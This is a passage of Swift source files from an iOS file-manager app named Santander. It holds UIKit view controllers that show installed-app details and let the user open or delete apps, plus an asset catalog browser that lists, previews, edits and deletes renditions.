            return app.claimedURLSchemes.isEmpty ? 4 : 5
        case 1:
            return 2
        case 2:
            return 4
        case 3:
            return 2
        case 4:
            return 2
        default:
            fatalError("Unknown section! \(section)")
        }
    }
    
    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)
        var conf = cell.defaultContentConfiguration()
        
        defer {
            cell.contentConfiguration = conf
        }
        
        switch (indexPath.section, indexPath.row) {
        case (0, 0):
            conf.text = "Name"
            conf.secondaryText = app.localizedName()
        case (0, 1):
            conf.text = "Bundle ID"
            conf.secondaryText = app.applicationIdentifier()
        case (0, 2):
            conf.text = "SDK Version"
            conf.secondaryText = app.sdkVersion
        case (0, 3):
            conf.text = "Type"
            conf.secondaryText = app.applicationType
        case (0, 4):
            conf.text = "URL schemes"
            conf.secondaryText = app.claimedURLSchemes.joined(separator: ", ")
        case (1, 0):
            conf.text = "Team ID"
            conf.secondaryText = app.teamID
        case (1, 1):
            conf.text = "Entitlements"
            cell.accessoryType = .disclosureIndicator
        case (2, 0):
            conf.text = "Deletable"
            conf.secondaryText = app.isDeletable ? "Yes" : "No"
        case (2, 1):
            conf.text = "Beta app"
            conf.secondaryText = app.isBetaApp ? "Yes" : "No"
        case (2, 2):
            conf.text = "Restricted"
            conf.secondaryText = app.isRestricted ? "Yes" : "No"
        case (2, 3):
            conf.text = "Containerized"
            conf.secondaryText = app.isContainerized ? "Yes" : "No"
        case (3, 0):
            conf.text = "Container URL"
            conf.secondaryText = app.containerURL().path
        case (3, 1):
            conf.text = "Bundle URL"
            conf.secondaryText = app.bundleURL().path
        case (4, 0):
            conf.text = "Open"
            conf.textProperties.color = .systemBlue
        case (4, 1):
            conf.text = "Delete"
            conf.textProperties.color = .systemRed
        default:
            fatalError("Unknown indexPath: \(indexPath)")
        }
        
        return cell
    }
    
    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {
        switch indexPath.section {
        case 3, 4:
            return true
        default:
            return (indexPath.section, indexPath.row) == (1, 1) // entitlements
        }
    }
    
    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
        switch (indexPath.section, indexPath.row) {
        case (1, 1):
            let dict = app.entitlements.asSerializedDictionary()
            let vc = SerializedDocumentViewController(dictionary: dict, type: .plist(format: nil), title: "Entitlements", parentController: nil, canEdit: false)
            self.navigationController?.pushViewController(vc, animated: true)
        case (3, 0):
            dismissAndGoToURL(app.containerURL())
        case (3, 1):
            dismissAndGoToURL(app.bundleURL())
        case (4, 0):
            do {
                try ApplicationsManager.shared.openApp(app)
            } catch {
                self.errorAlert(error, title: "Unable to open \(app.localizedName())")
            }
        case (4, 1):
            do {
                try ApplicationsManager.shared.deleteApp(app)
                self.dismiss(animated: true)
                subPathsSender.tableView.reloadData()
            } catch {
                self.errorAlert(error, title: "Unable to delete app")
            }
        default:
            break
        }
    }
    
    func dismissAndGoToURL(_ url: URL) {
        self.dismiss(animated: true)
        
        subPathsSender.goToPath(path: Path(url: url))
    }
}


================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogCell.swift
================================================
//
//  AssetCatalogCell.swift
//  Santander
//
//  Created by Serena on 18/09/2022
//


import UIKit
import AssetCatalogWrapper

class AssetCatalogCell: UICollectionViewCell {
    let nameLabel: UILabel = UILabel()
    let subtitleLabel: UILabel = UILabel()
    lazy var circleView: UIView? = rendition?.representation?.uiView
    var rendition: Rendition?
}

extension AssetCatalogCell {
    static let cellBackgroundColor: UIColor = .quaternarySystemFill
    
    func configure() {
        setupShape()
        
        guard let rendition = rendition else { return }
        nameLabel.text = rendition.name
        subtitleLabel.text = makeSubtitleText(forRendition: rendition)
        subtitleLabel.font = .preferredFont(forTextStyle: .caption1)
        subtitleLabel.textColor = .secondaryLabel
        
        let labelsStackView = UIStackView(arrangedSubviews: [nameLabel, subtitleLabel])
        labelsStackView.translatesAutoresizingMaskIntoConstraints = false
        labelsStackView.axis = .vertical
        
        let stackView = UIStackView(arrangedSubviews: [labelsStackView])
        stackView.translatesAutoresizingMaskIntoConstraints = false
        stackView.spacing = 10
        
        contentView.addSubview(stackView)
        let guide = contentView.layoutMarginsGuide
        if let circleView = circleView {
            circleView.layer.cornerRadius = 20
            circleView.layer.cornerCurve = .circular
            circleView.translatesAutoresizingMaskIntoConstraints = false
            stackView.insertArrangedSubview(circleView, at: 0)
            
            NSLayoutConstraint.activate([
                circleView.heightAnchor.constraint(equalTo: guide.heightAnchor),
                circleView.widthAnchor.constraint(equalTo: guide.heightAnchor),
            ])
        }
        
        stackView.constraintCompletely(to: guide)
    }
    
    func makeSubtitleText(forRendition rend: Rendition) -> String {
        return "Scale: \(rend.cuiRend.scale())" // todo: more info?
    }
    
    // IMPORTANT: Don't get rid of this, otherwise cells will start mixing with each other
    // due to each one having the same reuseIdentifier by default..
    override var reuseIdentifier: String? {
        return rendition?.name
    }
    
    func setupShape() {
        var bgConf = UIBackgroundConfiguration.clear()
        bgConf.backgroundColor = AssetCatalogCell.cellBackgroundColor
        bgConf.cornerRadius = 14
        backgroundConfiguration = bgConf
    }
}


================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogDetailsView.swift
================================================
//
//  AssetCatalogDetailsView.swift
//  Santander
//
//  Created by Serena on 27/09/2022
//


import UIKit
import CoreUIBridge

#warning("get this working: A view which displays the details of an asset catalog")
class AssetCatalogDetailsView: UIView {
    var catalog: CUICatalog
    
    init(catalog: CUICatalog) {
        self.catalog = catalog
        super.init(frame: .zero)
        
        let testLabel = UILabel()
        testLabel.text = "Hello"
        testLabel.translatesAutoresizingMaskIntoConstraints = false
        addSubview(testLabel)
        
        NSLayoutConstraint.activate([
            testLabel.centerXAnchor.constraint(equalTo: centerXAnchor),
            testLabel.leadingAnchor.constraint(equalTo: leadingAnchor)
        ])
        
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
}


================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogGridPreviewCell.swift
================================================
//
//  AssetCatalogGridPreviewCell.swift
//  Santander
//
//  Created by Serena on 08/10/2022
//


import UIKit
import AssetCatalogWrapper

fileprivate extension CACornerMask {
    static func alongEdge(_ edge: CGRectEdge) -> CACornerMask {
        switch edge {
        case .maxXEdge: return [.layerMaxXMinYCorner, .layerMaxXMaxYCorner]
        case .maxYEdge: return [.layerMinXMaxYCorner, .layerMaxXMaxYCorner]
        case .minXEdge: return [.layerMinXMinYCorner, .layerMinXMaxYCorner]
        case .minYEdge: return [.layerMinXMinYCorner, .layerMaxXMinYCorner]
        }
    }
}

class AssetCatalogGridPreviewCell: UICollectionViewCell {
    var rendition: Rendition!
    var previewView: UIView!
    
    func configure() {
        var constraintCompletely: Bool = true
        if let preview = rendition.representation {
            previewView = preview.uiView
        } else {
            let noPreviewLabel = UILabel()
            noPreviewLabel.text = "No Preview."
            noPreviewLabel.textColor = .secondaryLabel
            previewView = noPreviewLabel
            constraintCompletely = false
        }
        
        previewView.clipsToBounds = true
        previewView.contentMode = .scaleAspectFit
        previewView.translatesAutoresizingMaskIntoConstraints = false
        
        contentView.addSubview(previewView)
        contentView.layer.cornerCurve = .continuous
        contentView.layer.cornerRadius = 12.0
        
        layer.shadowOpacity = 0.2
        layer.shadowRadius = 6.0
        
        pushCornerPropertiesToChildren()
        
        if constraintCompletely {
            previewView.constraintCompletely(to: contentView.layoutMarginsGuide)
        } else {
            NSLayoutConstraint.activate([
                previewView.centerXAnchor.constraint(equalTo: contentView.centerXAnchor),
                previewView.centerYAnchor.constraint(equalTo: contentView.centerYAnchor)
            ])
        }
    }
    
    override var reuseIdentifier: String? {
        rendition?.name
    }
    
    func pushCornerPropertiesToChildren() {
        previewView.layer.maskedCorners = contentView.layer.maskedCorners.union(.alongEdge(.maxYEdge))
        previewView.layer.cornerRadius = contentView.layer.cornerRadius
        previewView.layer.cornerCurve = contentView.layer.cornerCurve
    }
}


================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogRenditionViewController.swift
================================================
//
//  AssetCatalogRenditionViewController.swift
//  Santander
//
//  Created by Serena on 01/10/2022
//


import UIKit
import AssetCatalogWrapper

class AssetCatalogRenditionViewController: UIViewController {
    typealias DataSource = UICollectionViewDiffableDataSource<Section, ItemType>
    
    typealias DetailCellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, DetailItem>
    typealias ActionCellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, ItemAction>
    typealias GridPreviewCellRegistration = UICollectionView.CellRegistration<AssetCatalogGridPreviewCell, Rendition>
    
    var rendition: Rendition
    var collectionView: UICollectionView!
    var dataSource: DataSource!
    var sender: AssetCatalogViewController?
    
    init(rendition: Rendition, sender: AssetCatalogViewController?) {
        self.rendition = rendition
        self.sender = sender
        super.init(nibName: nil, bundle: nil)
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) hasn't been implemented")
    }
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        title = "Info"
        configureCollectionView()
        configureDataSource()
        addItems()
    }
    
    func configureCollectionView() {
        self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: makeLayout())
        collectionView.translatesAutoresizingMaskIntoConstraints = false
        collectionView.delegate = self
        collectionView.dragDelegate = self
        collectionView.backgroundColor = .secondarySystemBackground
        view.addSubview(collectionView)
        
        collectionView.constraintCompletely(to: view)
    }
    
    func editItem(sender: AssetCatalogViewController) {
        guard let saveIndx = sender.dataSource.indexPath(for: rendition) else { return }
        sender.editItem(rendition, presentingFrom: self) { [self] error in
            if let error = error {
                errorAlert(error, title: "Failed to edit item")
                return
            }
            
            dismiss(animated: true) {
                guard let newRend = sender.dataSource.itemIdentifier(for: saveIndx) else { return }
                let newVC = UINavigationController(rootViewController: AssetCatalogRenditionViewController(rendition: newRend, sender: sender))
                sender.present(newVC, animated: true)
            }
        }
    }
    
    func makeDetailCellBackgroundConfiguration() -> UIBackgroundConfiguration {
        var background = UIBackgroundConfiguration.listAccompaniedSidebarCell()
        background.cornerRadius = 8
        background.backgroundColor = .tertiarySystemBackground
        return background
    }
    
    func configureDataSource() {
        let listCellSecondaryTextFont: UIFont = .preferredFont(forTextStyle: .footnote)
        let detailCellBackgroundConf = makeDetailCellBackgroundConfiguration()
        
        let detailCellRegistration = DetailCellRegistration { cell, indexPath, details in
            var content = UIListContentConfiguration.cell()
            content.prefersSideBySideTextAndSecondaryText = true
            content.text = details.primaryText
            content.secondaryText = details.secondaryText
            content.secondaryTextProperties.font = listCellSecondaryTextFont
            cell.contentConfiguration = content
            cell.backgroundConfiguration = detailCellBackgroundConf
        }
        
        let previewCellRegistration = GridPreviewCellRegistration { cell, indexPath, itemIdentifier in
            cell.rendition = self.rendition
            cell.configure()
        }
        
        let actionCellRegistration = ActionCellRegistration { cell, indexPath, itemIdentifier in
            var conf = cell.defaultContentConfiguration()
            conf.text = itemIdentifier.displayText
            conf.image = itemIdentifier.displayImage
            
            if let color = itemIdentifier.textColor {
                conf.textProperties.color = color
            }
            
            conf.imageToTextPadding = 10
            cell.contentConfiguration = conf
            cell.backgroundConfiguration = detailCellBackgroundConf
        }
        
        self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in
            switch itemIdentifier {
            case .preview:
                return collectionView.dequeueConfiguredReusableCell(using: previewCellRegistration, for: indexPath, item: self.rendition)
            case .action(let action):
                return collectionView.dequeueConfiguredReusableCell(using: actionCellRegistration, for: indexPath, item: action)
            case .details(let detailItem):
                return collectionView.dequeueConfiguredReusableCell(using: detailCellRegistration, for: indexPath, item: detailItem)
            }
        }
    }
    
    func addItems() {
        var snapshot = NSDiffableDataSourceSnapshot<Section, ItemType>()
        snapshot.appendSections([.itemPreview])
        
        var actions: [ItemAction] = []
        // add actions if possible
        if let image = rendition.image {
            let uiImage = UIImage(cgImage: image)
            
            let saveImageAction = ItemAction(displayText: "Save", displayImage: UIImage(systemName: "square.and.arrow.down")) {
                self.saveImage(uiImage)
            }
            
            let viewImageAction = ItemAction(displayText: "View", displayImage: UIImage(systemName: "magnifyingglass")) {
                let viewer = ImageViewerController(fileURL: nil, image: uiImage, title: self.rendition.name)
                self.present(UINavigationController(rootViewController: viewer), animated: true)
            }
            
            actions += [saveImageAction, viewImageAction]
        }
        
        if rendition.type.isEditable, let sender = sender {
            let editAction = ItemAction(displayText: "Edit", displayImage: UIImage(systemName: "gear")) {
                self.editItem(sender: sender)
            }
            
            actions.append(editAction)
        }
        
        if !actions.isEmpty {
            snapshot.appendSections([.itemActions])
            snapshot.appendItems(actions.map { return ItemType.action($0) }, toSection: .itemActions)
        }
        
        let size = rendition.cuiRend.unslicedSize()
        
        var itemDetails: [DetailItem] = []
        
        // if rendition name is different than lookup name,
        // then display just "Name"
        // otherwise, if they're different, display them as different cells
        if rendition.namedLookup.name == rendition.namedLookup.renditionName {
            itemDetails.insert(DetailItem(primaryText: "Name", secondaryText: rendition.namedLookup.name), at: 0)
        } else {
            let bothNames = [
                DetailItem(primaryText: "Lookup Name", secondaryText: rendition.namedLookup.name),
                DetailItem(primaryText: "Rendition Name", secondaryText: rendition.namedLookup.renditionName)
            ]
            
            itemDetails.insert(contentsOf: bothNames, at: 0)
        }
        
        // if the height or width aren't 0 (they are 0 in the cases of colors)
        // display them
        if !size.height.isZero {
            itemDetails.append(DetailItem(primaryText: "Height", secondaryText: size.height.description))
        }
        
        if !size.width.isZero {
            itemDetails.append(DetailItem(primaryText: "Width", secondaryText: size.width.description))
        }
        
        itemDetails.append(DetailItem(primaryText: "Scale", secondaryText: rendition.cuiRend.scale().description))
        
        let key = rendition.namedLookup.key
        let rendInfo: [DetailItem] = [
            DetailItem(primaryText: "Idiom", secondaryText: Rendition.Idiom(key)),
            DetailItem(primaryText: "Appearance", secondaryText: Rendition.Appearance(key)),
            DetailItem(primaryText: "Display Gamut", secondaryText: Rendition.DisplayGamut(key)),
            DetailItem(primaryText: "Type", secondaryText: rendition.type),
        ]
        
        snapshot.appendItems([.preview], toSection: .itemPreview)
        snapshot.appendSections([.itemInfo])
        snapshot.appendItems(ItemType.fromDetails(itemDetails), toSection: .itemInfo)
        
        if rendition.type == .multiSizeImageSet,
           let nsObjectSizes = rendition.cuiRend.value(forKey: "sizeIndexes") as? [NSObject] {
            let sizes = nsObjectSizes.compactMap { $0.value(forKey: "size") as? CGSize }
            let items = sizes.enumerated().map { (indx, size) in
                DetailItem(primaryText: "Size \(indx)", secondaryText: "Width: \(size.width), Height: \(size.height)")
            }
            
            snapshot.appendSections([.specificTypeInfo])
            snapshot.appendItems(ItemType.fromDetails(items), toSection: .specificTypeInfo)
        }
        
        switch rendition.representation {
        case .color(let cgColor):
            let uiColor = UIColor(cgColor: cgColor)
            // to easily get blue, red, green, alpha without
            // working with pointers
            let codableColor = CodableColor(uiColor)
            
            let colorSpaceName = (cgColor.colorSpace?.name as? String ?? "N/A")
                .replacingOccurrences(of: "kCGColorSpace", with: "") // remove mentions of "kCGColorSpace" so its only the name
            let colorDetails = [
                DetailItem(primaryText: "ColorSpace", secondaryText: colorSpaceName),
                DetailItem(primaryText: "Red", secondaryText: String(format: "%.3f", codableColor.red)),
                DetailItem(primaryText: "Blue", secondaryText: String(format: "%.3f", codableColor.blue)),
                DetailItem(primaryText: "Green", secondaryText: String(format: "%.3f", codableColor.green)),
            ]
            
            snapshot.insertSections([.specificTypeInfo], afterSection: .itemInfo)
            snapshot.appendItems(ItemType.fromDetails(colorDetails), toSection: .specificTypeInfo)
        default:
            break
        }
        
        snapshot.appendSections([.renditionKeyInfo])
        snapshot.appendItems(ItemType.fromDetails(rendInfo), toSection: .renditionKeyInfo)
        
        if let sender = sender {
            let deleteImage = UIImage(systemName: "trash")?.withTintColor(.systemRed, renderingMode: .alwaysOriginal)
            let deleteAction = ItemAction(displayText: "Delete", displayImage: deleteImage, textColor: .systemRed) {
                let confirmationAlert = UIAlertController(title: "Are you sure you want to delete this item?", message: nil, preferredStyle: .actionSheet)
                let deleteAction = UIAlertAction(title: "Delete", style: .destructive) { [self] _ in
                    sender.deleteItem(rendition) { [self] error in
                        if let error = error {
                            errorAlert(error, title: "Failed to delete item")
                        } else {
                            dismiss(animated: true)
                        }
                    }
                }
                
                confirmationAlert.addAction(deleteAction)
                confirmationAlert.addAction(.cancel())
                
                
                self.present(confirmationAlert, animated: true)
            }
            
            
            snapshot.appendSections([.deleteItem])
            snapshot.appendItems([.action(deleteAction)], toSection: .deleteItem)
        }
        
        dataSource.apply(snapshot)
    }
    
    func makeLayout() -> UICollectionViewLayout {
        // lazy var, so that it's not nil by the time it's initialized, because makeLayout() is called before createDataSource
        // it won't be nil when it's used in the layout closure.
        lazy var snapshot = dataSource.snapshot()
        let layout = UICollectionViewCompositionalLayout { sectionIndex, enviroment in
            let section = snapshot.sectionIdentifiers[sectionIndex]
            switch section {
            case .itemPreview:
                let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
                                                     heightDimension: .estimated(180))
                let item = NSCollectionLayoutItem(layoutSize: itemSize)
                let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
                                                       heightDimension: .estimated(180))
                let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1)
                group.interItemSpacing = .fixed(20)
                
                return NSCollectionLayoutSection(group: group)
            case .itemActions:
                let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
                                                     heightDimension: .fractionalHeight(1.0))
                let item = NSCollectionLayoutItem(layoutSize: itemSize)

                let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
                                                      heightDimension: .absolute(44))
                let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: snapshot.numberOfItems(inSection: section))
                
                let spacing = CGFloat(10)
                group.interItemSpacing = .fixed(spacing)
                
                let section = NSCollectionLayoutSection(group: group)
                section.interGroupSpacing = spacing
                section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 16, bottom: 0, trailing: 16)
                return section
            default:
                let list = NSCollectionLayoutSection.list(
                    using: .init(appearance: .sidebar),
                    layoutEnvironment: enviroment
                )
                list.interGroupSpacing = 5
                
                return list
            }
        }
        let config = UICollectionViewCompositionalLayoutConfiguration()
        config.interSectionSpacing = 10
        layout.configuration = config
        
        return layout
    }
    
    enum Section: Hashable {
        /// The item preview, ie, the image or color's view
        case itemPreview
        
        /// Actions to do, such as saving the image if available
        case itemActions
        
        /// The core item information, in a list layout, such as the name / width / height
        /// this is available for *all* renditions
        case itemInfo
        
        /// The item information that is specific to it's type,
        /// ie, the red, green and blue components of a color
        case specificTypeInfo
        
        /// The information specifically related to the rendition,
        /// coming from CUIRenditionKey
        case renditionKeyInfo
        
        /// The delete item button
        case deleteItem
    }
    
    enum ItemType: Hashable {
        case preview
        case action(ItemAction)
        case details(DetailItem)
        
        static func fromDetails(_ details: [DetailItem]) -> [ItemType] {
            return details.map { details in
                ItemType.details(details)
            }
        }
    }
    
    struct DetailItem: Hashable {
        /// The text of the primary label, ie "Height"
        let primaryText: String
        
        /// The text of the secondary label, ie, the height number as a String
        let secondaryText: String
        
        init(primaryText: String, secondaryText: String?) {
            self.primaryText = primaryText
            self.secondaryText = secondaryText ?? "N/A"
        }
        
        init<DetailTextType: CustomStringConvertible>(primaryText: String, secondaryText: DetailTextType?) {
            self.primaryText = primaryText
            self.secondaryText = secondaryText?.description ?? "N/A"
        }
    }
    
    struct ItemAction: Hashable {
        static func == (lhs: ItemAction, rhs: ItemAction) -> Bool {
            return lhs.displayText == rhs.displayText
        }
        
        let displayText: String
        let displayImage: UIImage?
        let textColor: UIColor?
        let action: (() -> Void)
        
        
        init(displayText: String, displayImage: UIImage?, textColor: UIColor? = nil, action: @escaping () -> Void) {
            self.displayText = displayText
            self.displayImage = displayImage
            self.textColor = textColor
            self.action = action
        }
        
        func hash(into hasher: inout Hasher) {
            hasher.combine(displayText)
            hasher.combine(displayImage)
            hasher.combine(textColor)
        }
    }
}

extension AssetCatalogRenditionViewController: UICollectionViewDelegate, UICollectionViewDragDelegate {
    func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {
        UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { [self] _ in
            let item = dataSource.itemIdentifier(for: indexPath)
            switch item {
            case .action(let itemAction):
                let menuAction = UIAction(title: itemAction.displayText, image: itemAction.displayImage) { _ in
                    itemAction.action()
                }
                
                return UIMenu(children: [menuAction])
            case .details(let detail):
                let menuAction = UIAction(title: "Copy", image: UIImage(systemName: "doc.on.doc")) { _ in
                    UIPasteboard.general.string = detail.secondaryText
                }
                
                return UIMenu(children: [menuAction])
            default:
                return nil
            }
        }
    }
    
    func collectionView(_ collectionView: UICollectionView, shouldHighlightItemAt indexPath: IndexPath) -> Bool {
        switch dataSource.itemIdentifier(for: indexPath) {
        case .action(_): return true
        default: return false
        }
    }
    
    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
        switch dataSource.itemIdentifier(for: indexPath) {
        case .action(let action): action.action()
        default: break
        }
    }
    
    func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {
        // here, we are dragging the preview item displayed
        // which is in the first section
        guard indexPath.section == 0, let dragItem = rendition.makeDragItem() else { return [] }
        
        // (if we can) get the cell that is being dragged, set the previewProvider properly
        // otherwise funky behaviour arises
        if let cell = collectionView.cellForItem(at: indexPath) as? AssetCatalogGridPreviewCell {
            dragItem.previewProvider = {
                let params = UIDragPreviewParameters()
                params.backgroundColor = .clear
                return UIDragPreview(view: cell.previewView, parameters: params)
            }
        }
        
        return [
            dragItem
        ]
    }
}


================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogSectionHeader.swift
================================================
//
//  AssetCatalogSectionHeader.swift
//  Santander
//
//  Created by Serena on 21/09/2022
//


import UIKit
import AssetCatalogWrapper

class AssetCatalogSectionHeader: UICollectionReusableView {
    let stackView = UIStackView()
    
    let titleLabel = UILabel()
    let subtitleLabel = UILabel()
    
    func configure(withSection section: RenditionType, snapshot: NSDiffableDataSourceSnapshot<RenditionType, Rendition>, sender: AssetCatalogViewController) {
        // The titleLabel's text is the name of the section
        // And the subtitleLabel's text is the amount of items in the section
        // ie, the UI would look something like
        // "Color"
        // "6 Items"
        
        titleLabel.text = section.description
        titleLabel.font = .preferredFont(forTextStyle: .title3)
        
        subtitleLabel.text = "\(snapshot.itemIdentifiers(inSection: section).count) Items"
        subtitleLabel.textColor = .secondaryLabel
        subtitleLabel.font = .preferredFont(forTextStyle: .caption1)
        
        stackView.addArrangedSubview(titleLabel)
        stackView.addArrangedSubview(subtitleLabel)
        
        stackView.axis = .vertical
        stackView.translatesAutoresizingMaskIntoConstraints = false
        addSubview(stackView)
        
        let guide = layoutMarginsGuide
        NSLayoutConstraint.activate([
            stackView.centerYAnchor.constraint(equalTo: guide.centerYAnchor),
            stackView.leadingAnchor.constraint(equalTo: guide.leadingAnchor)
        ])
    }
}


================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogSidebarListView.swift
================================================
//
//  AssetCatalogSidebarListView.swift
//  Santander
//
//  Created by Serena on 27/10/2022
//


import UIKit
import AssetCatalogWrapper

class AssetCatalogSidebarListView: UIViewController {
    
    enum Section: Hashable {
        case main
    }
    
    typealias DataSource = UICollectionViewDiffableDataSource<Section, RenditionType>
    typealias Snapshot = NSDiffableDataSourceSnapshot<Section, RenditionType>
    typealias CellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, RenditionType>
    
    let catalogController: AssetCatalogViewController
    
    var collectionView: UICollectionView!
    var dataSource: DataSource!
    
    lazy var sections: [RenditionType] = []
    
    init(catalogController: AssetCatalogViewController) {
        self.catalogController = catalogController
        
        super.init(nibName: nil, bundle: nil)
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        makeCollectionView()
        makeDataSource()
        addItems()
        
        splitViewController?.setViewController(catalogController, for: .secondary)
        
        title = catalogController.fileURL.deletingPathExtension().lastPathComponent
        navigationController?.navigationBar.prefersLargeTitles = true
    }
    
    func makeCollectionView() {
        let layout = UICollectionViewCompositionalLayout { _, env in
            return .list(using: UICollectionLayoutListConfiguration(appearance: .sidebar), layoutEnvironment: env)
        }
        
        collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout)
        collectionView.translatesAutoresizingMaskIntoConstraints = false
        collectionView.delegate = self
        view.addSubview(collectionView)
        
        collectionView.constraintCompletely(to: view)
    }
    
    func makeDataSource() {
        
        let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in
            var conf = cell.defaultContentConfiguration()
            conf.text = itemIdentifier.description
            conf.image = itemIdentifier.displayImage
            cell.contentConfiguration = conf
        }
        
        self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in
            return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier)
        }
    }
    
    func addItems() {
        var snapshot = Snapshot()
        snapshot.appendSections([.main])
        snapshot.appendItems(sections, toSection: .main)
        dataSource.apply(snapshot)
    }
}

extension AssetCatalogSidebarListView: UICollectionViewDelegate {
    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
        catalogController.collectionView.scrollToItem(at: IndexPath(row: 0, section: indexPath.row), at: .top, animated: true)
    }
}

fileprivate extension RenditionType {
    var displayImage: UIImage? {
        switch self {
        case .image, .svg:
            return UIImage(systemName: "photo")
        case .icon:
            return UIImage(systemName: "app")
        case .imageSet:
            return UIImage(systemName: "photo.stack")
        case .multiSizeImageSet:
            return UIImage(systemName: "cube.box")
        case .pdf:
            return UIImage(systemName: "doc.richtext")
        case .color:
            return UIImage(systemName: "paintbrush")
        case .rawData:
            return UIImage(systemName: "text.quote")
        case .unknown:
            return UIImage(systemName: "questionmark.app")
        }
    }
}


================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogViewController.swift
================================================
//
//  AssetCatalogViewController.swift
//  Santander
//
//  Created by Serena on 16/09/2022
//


import UIKit
import AssetCatalogWrapper
import UniformTypeIdentifiers
import PhotosUI

#warning("Also make a view for displaying information about this catalog and display it above the collection view")
class AssetCatalogViewController: UIViewController {
    typealias DataSource = UICollectionViewDiffableDataSource<RenditionType, Rendition>
    typealias SupplementaryRegistration = UICollectionView.SupplementaryRegistration<AssetCatalogSectionHeader>
    typealias CellRegistration = UICollectionView.CellRegistration<AssetCatalogCell, Rendition>
    
    static let titleElementKind = "RenditionTypeTitle"
    
    let fileURL: URL
    var renditionCollection: RenditionCollection
    var catalog: CUICatalog
    fileprivate var editorDelegate: ItemEditorDelegate?
    
    var collectionView: UICollectionView!
    var dataSource: DataSource!
    var noResultsLabel: UILabel = UILabel()
    var layoutMode: LayoutMode = LayoutMode(UserPreferences.assetCatalogControllerLayoutMode) {
        didSet {
            collectionView.setCollectionViewLayout(createLayout(), animated: true)
            UserPreferences.assetCatalogControllerLayoutMode = layoutMode.rawValue
        }
    }
    
    init(renditions: RenditionCollection, fileURL: URL, catalog: CUICatalog) {
        self.renditionCollection = renditions
        self.fileURL = fileURL
        
        self.catalog = catalog
        
        super.init(nibName: nil, bundle: nil)
    }
    
    convenience init(catalogFileURL fileURL: URL) throws {
        let (catalog, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)
        self.init(renditions: renditions, fileURL: fileURL, catalog: catalog)
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        // on iPad, the title is instead displayed on the sidebar
        if !UIDevice.isiPad {
            let filename = fileURL.deletingPathExtension()
            title = filename.lastPathComponent
            navigationController?.navigationBar.prefersLargeTitles = true
        }
        
        navigationItem.hidesSearchBarWhenScrolling = false
        
        let searchController = UISearchController()
        searchController.searchBar.delegate = self
        navigationItem.searchController = searchController
        
        configureCollectionView()
        configureDataSource()
        
        setupBarItems()
    }
    
    
    // scroll up or down keyboard shortcuts
    override var keyCommands: [UIKeyCommand]? {
        return [
            UIKeyCommand(title: "Scroll Up", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputUpArrow, modifierFlags: .command),
            UIKeyCommand(title: "Scroll Down", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputDownArrow, modifierFlags: .command)
        ]
    }
    
    @objc
    func goUpOrDown(sender: UIKeyCommand) {
        switch sender.input {
        case UIKeyCommand.inputDownArrow:
            let snapshot = dataSource.snapshot()
            if let last = snapshot.sectionIdentifiers.last {
                let section = snapshot.sectionIdentifiers.count
                let row = snapshot.itemIdentifiers(inSection: last).count
                collectionView.scrollToItem(at: IndexPath(row: row - 1, section: section - 1), at: .bottom, animated: true)
            }
        case UIKeyCommand.inputUpArrow:
            collectionView.scrollToItem(at: IndexPath(row: 0, section: 0), at: .top, animated: true)
        default:
            break
        }
    }
    
    func configureCollectionView() {
        self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: createLayout())
        collectionView.translatesAutoresizingMaskIntoConstraints = false
        collectionView.backgroundColor = .systemBackground
        collectionView.dragDelegate = self
        collectionView.delegate = self
        
        view.addSubview(collectionView)
        
        collectionView.constraintCompletely(to: view)
    }
    
    func makeMenuForBarButton() -> UIMenu {
        let extractAction = UIAction(title: "Extract to..") { _ in
            self.extractAction()
        }
        
        let changeLayoutActions = LayoutMode.allCases.map { [self] mode in
            return UIAction(title: mode.description, state: layoutMode == mode ? .on : .off) { [self] _ in
                layoutMode = mode
